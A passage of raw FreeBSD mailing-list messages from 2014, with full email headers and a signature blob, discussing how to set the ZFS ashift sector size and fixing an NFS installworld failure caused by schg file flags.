+P4wf+PFqEieWGoFKHraXdtcOQQue7p9b4+Nua+UtNzHjEDGDSEEz7SAmOjmFY9WpSEr cj2MIgv+yjQ0bTLsH4sAUXXeRRn4PJTONDAftPo8qma7gShW+Q1Zwa85K+IpdjJs+AK4 fagw== X-Gm-Message-State: ALoCoQlBwYjdfs8+2eKu2wheJEgceJ2EN1gqR/or/LzZWtOUZQaKpCKDec7lkSQkpPX+5FEJDys4 MIME-Version: 1.0 X-Received: by 10.67.14.231 with SMTP id fj7mr35500784pad.115.1401658312556; Sun, 01 Jun 2014 14:31:52 -0700 (PDT) Received: by 10.70.0.202 with HTTP; Sun, 1 Jun 2014 14:31:52 -0700 (PDT) In-Reply-To: <538B4CEF.2030801@freebsd.org> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> Date: Sun, 1 Jun 2014 14:31:52 -0700 Message-ID: Subject: Re: fdisk(8) vs gpart(8), and gnop From: Matthew Ahrens To: Nathan Whitehorn X-Mailman-Approved-At: Sun, 01 Jun 2014 23:47:14 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-fs , FreeBSD Hackers , George Wilson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 21:31:53 -0000 On Sun, Jun 1, 2014 at 8:55 AM, Nathan Whitehorn wrote: > On 06/01/14 08:52, Steven Hartland wrote: > >> ----- Original Message ----- From: "Mark Felder" >> >> On May 31, 2014, at 20:57, Freddie Cash wrote: >>> >>> There's a sysctl where you can set the minimum ashift for zfs. Then you >>>> never need to use gnop. >>>> >>>> I believe it's part of 10.0? >>>> >>> >>> I've not seen this yet. What we need is to port the ability to set >>> ashift at pool creation time: >>> >>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>> >>> I believe the Linux zfs port has this functionality now, but we still do >>> not. >>> >> I am strongly against implementing "-o ashift=12"[*]. If we need to explicitly tell ZFS what sector size to use, we should make that intention clear with an appropriately named property, for example "-o device_sector_size=4K". Even better, this property should be per-disk. --matt [*] Once we implement an appropriately-named property, I would be OK with also allowing the "-o ashift=12" as a Linux compatibility feature. > >> We don't have that direct option yet but you can achieve the >> same thing by setting: vfs.zfs.min_auto_ashift=12 >> >> Does anyone have any objections to me changing this default, right now, > today? > -Nathan > > _______________________________________________ > freebsd-fs@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-fs > To unsubscribe, send any mail to "freebsd-fs-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 02:13:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 027A82A8 for ; Mon, 2 Jun 2014 02:13:52 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id E00AF29D0 for ; Mon, 2 Jun 2014 02:13:51 +0000 (UTC) Received: from AlfredMacbookAir.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id DBB001A3C1B; Sun, 1 Jun 2014 19:13:50 -0700 (PDT) Message-ID: <538BDDF5.708@mu.org> Date: Sun, 01 Jun 2014 19:14:13 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org, Jordan Hubbard Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> In-Reply-To: <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 02:13:52 -0000 On 6/1/14, 1:27 PM, Jordan Hubbard wrote: > On Jun 1, 2014, at 12:52 PM, Alfred Perlstein wrote: > >> On 6/1/14, 12:45 PM, Jordan Hubbard wrote: >>> On Jun 1, 2014, at 12:04 PM, Alfred Perlstein wrote: >>> >>>> Unfortunately I'm doing it over NFS and I don't think we support chflags over NFS (not even with an extension). >>> Try the installworld with NO_FSCHG=yes >>> >>> I think that catches at least 7 of the 8 places that need to be conditionalized. :) >>> >>> - Jordan >>> >> Thanks Jordan, >> >> I did wind up using that, but NFS still was giving me: >> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/lib >> install: /usr/soekris/lib/libcrypt.so.5: Input/output error > Well, like I said, I think the NO_FSCHG implementation is incomplete. That’s weird though - bsd.lib.mk (in -current at least) does have a NO_FSCHG check. Are you sure that’s set in your environment? Did that change not make it into whatever branch you’re using, perhaps? OK you were right about me forgetting to set NO_FSCHG in that pass, however even when I set it: /usr/src # NO_FSCHG=YES TARGET=i386 DESTDIR=/usr/soekris make installworld .... ===> lib/libcrypt (install) install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib install -s -o root -g wheel -m 444 libcrypt.so.5 /usr/soekris/lib install: /usr/soekris/lib/libcrypt.so.5: Input/output error *** Error code 71 Stop. make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt It appears it's that schg is set on it on the target host: .(02:10:18)(alfred@soekris.local) /lib % ls -lo libcrypt* -r--r--r-- 1 root wheel schg 81988 Aug 16 2013 libcrypt.so.5 -r--r--r-- 1 root wheel - 1468336 Aug 16 2013 libcrypto.so.6 -r--r--r-- 1 root wheel - 1626140 Jun 1 11:15 libcrypto.so.7 Ugh, that was frustrating... but now fixed sorta... Is there a post-processing step i can do on the target install host to get my schg bits set on the right things? -Alfred > - Jordan > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 02:25:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EE467795 for ; Mon, 2 Jun 2014 02:25:51 +0000 (UTC) Received: from mail-ie0-x22b.google.com (mail-ie0-x22b.google.com [IPv6:2607:f8b0:4001:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A6CB72AB0 for ; Mon, 2 Jun 2014 02:25:51 +0000 (UTC) Received: by mail-ie0-f171.google.com with SMTP id to1so3907090ieb.16 for ; Sun, 01 Jun 2014 19:25:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=Tobf9mJPfxeiyX3jPq3BlZG0VGwVWeQphwJtuhiDVRM=; b=aTYjUss9NnlCwxIqY+D+SSLZWtJD+EwjRiwlbqCaFc7lqjADkixtqgwCcNS5x7KLuD rTpglWmYdEyQQFtQ625XB85BPHYkLOWRyK28qf7dq4C+2BP3OLJBljgmcdVX9IFKGv0c tuoYhjIuy+AjRD/2LzLWFPR9CDQ9CKngm24ao= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=Tobf9mJPfxeiyX3jPq3BlZG0VGwVWeQphwJtuhiDVRM=; b=Ul78C14oHilJQOfxYPBfp9tpN+7jjWObLXwQKzgxIPP0tWEa6xGFXFinKFPRixh1zw mRQwKXsUK+Fc52WEc0Mp1IdqhXISNTmFrVpR7x10UflokXEB6wR2m9pOPOw855NhOshY x6BcHODi3lZSRMT1X+ZpQqjR7rw9b4ahyTfFolCRrxYfxpJudrO0rikpiJEPr1gZLqt7 5tJlqJL2DX3p/QFTdfHiF65axbn/qThSD7htbMmvX7sa+2L5YWT/RKHK6f9QfnVUctqj 1upFk3S03NOqlK/EMT9+/DM21T7+MQXl/U94ZnrgF2IqaNoK/u4myJVdiSnlGcciMymn pAFA== X-Gm-Message-State: ALoCoQnhThWzCzLGcdHSbKtgh0sm5OaUBQo3l9w+Ej4giB/sKO8JxKgK9W32Y0uSJqlr1bj8cCLM X-Received: by 10.50.78.66 with SMTP id z2mr15915946igw.27.1401675951092; Sun, 01 Jun 2014 19:25:51 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id k20sm25351474igf.5.2014.06.01.19.25.49 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 01 Jun 2014 19:25:49 -0700 (PDT) References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> Mime-Version: 1.0 (1.0) In-Reply-To: <538BDDF5.708@mu.org> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-7E947E89-3A08-4302-9AB1-6606FAB0234C; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <76274000-0CB3-4EF5-A745-4818F5E10C16@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: Upgrading an i386 machine from amd64. Date: Sun, 1 Jun 2014 22:25:47 -0400 To: Alfred Perlstein X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 02:25:52 -0000 --Apple-Mail-7E947E89-3A08-4302-9AB1-6606FAB0234C Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable mtree -deU /etc/mtree/filehere I believe that might roll through and set the proper perms and. schg flags.=20= --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On Jun 1, 2014, at 22:14, Alfred Perlstein wrote: >=20 >=20 >> On 6/1/14, 1:27 PM, Jordan Hubbard wrote: >>> On Jun 1, 2014, at 12:52 PM, Alfred Perlstein wrote: >>>=20 >>>> On 6/1/14, 12:45 PM, Jordan Hubbard wrote: >>>>> On Jun 1, 2014, at 12:04 PM, Alfred Perlstein wrote: >>>>>=20 >>>>> Unfortunately I'm doing it over NFS and I don't think we support chfla= gs over NFS (not even with an extension). >>>> Try the installworld with NO_FSCHG=3Dyes >>>>=20 >>>> I think that catches at least 7 of the 8 places that need to be conditi= onalized. :) >>>>=20 >>>> - Jordan >>> Thanks Jordan, >>>=20 >>> I did wind up using that, but NFS still was giving me: >>> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >>> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >>> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/= lib >>> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >> Well, like I said, I think the NO_FSCHG implementation is incomplete. Th= at=E2=80=99s weird though - bsd.lib.mk (in -current at least) does have a NO= _FSCHG check. Are you sure that=E2=80=99s set in your environment? Did tha= t change not make it into whatever branch you=E2=80=99re using, perhaps? > OK you were right about me forgetting to set NO_FSCHG in that pass, howeve= r even when I set it: >=20 > /usr/src # NO_FSCHG=3DYES TARGET=3Di386 DESTDIR=3D/usr/soekris make instal= lworld > .... > =3D=3D=3D> lib/libcrypt (install) > install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib > install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib > install -s -o root -g wheel -m 444 libcrypt.so.5 /usr/soekris/lib > install: /usr/soekris/lib/libcrypt.so.5: Input/output error > *** Error code 71 >=20 > Stop. > make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt >=20 > It appears it's that schg is set on it on the target host: >=20 > .(02:10:18)(alfred@soekris.local) > /lib % ls -lo libcrypt* > -r--r--r-- 1 root wheel schg 81988 Aug 16 2013 libcrypt.so.5 > -r--r--r-- 1 root wheel - 1468336 Aug 16 2013 libcrypto.so.6 > -r--r--r-- 1 root wheel - 1626140 Jun 1 11:15 libcrypto.so.7 >=20 > Ugh, that was frustrating... but now fixed sorta... >=20 > Is there a post-processing step i can do on the target install host to get= my schg bits set on the right things? >=20 > -Alfred >=20 >=20 >=20 >=20 >=20 >> - Jordan >>=20 >>=20 >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= --Apple-Mail-7E947E89-3A08-4302-9AB1-6606FAB0234C Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDYwMjAyMjU0OVowIwYJKoZIhvcN AQkEMRYEFKDkhAuXTtT6GME/ozmTOpr9jgahMIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE 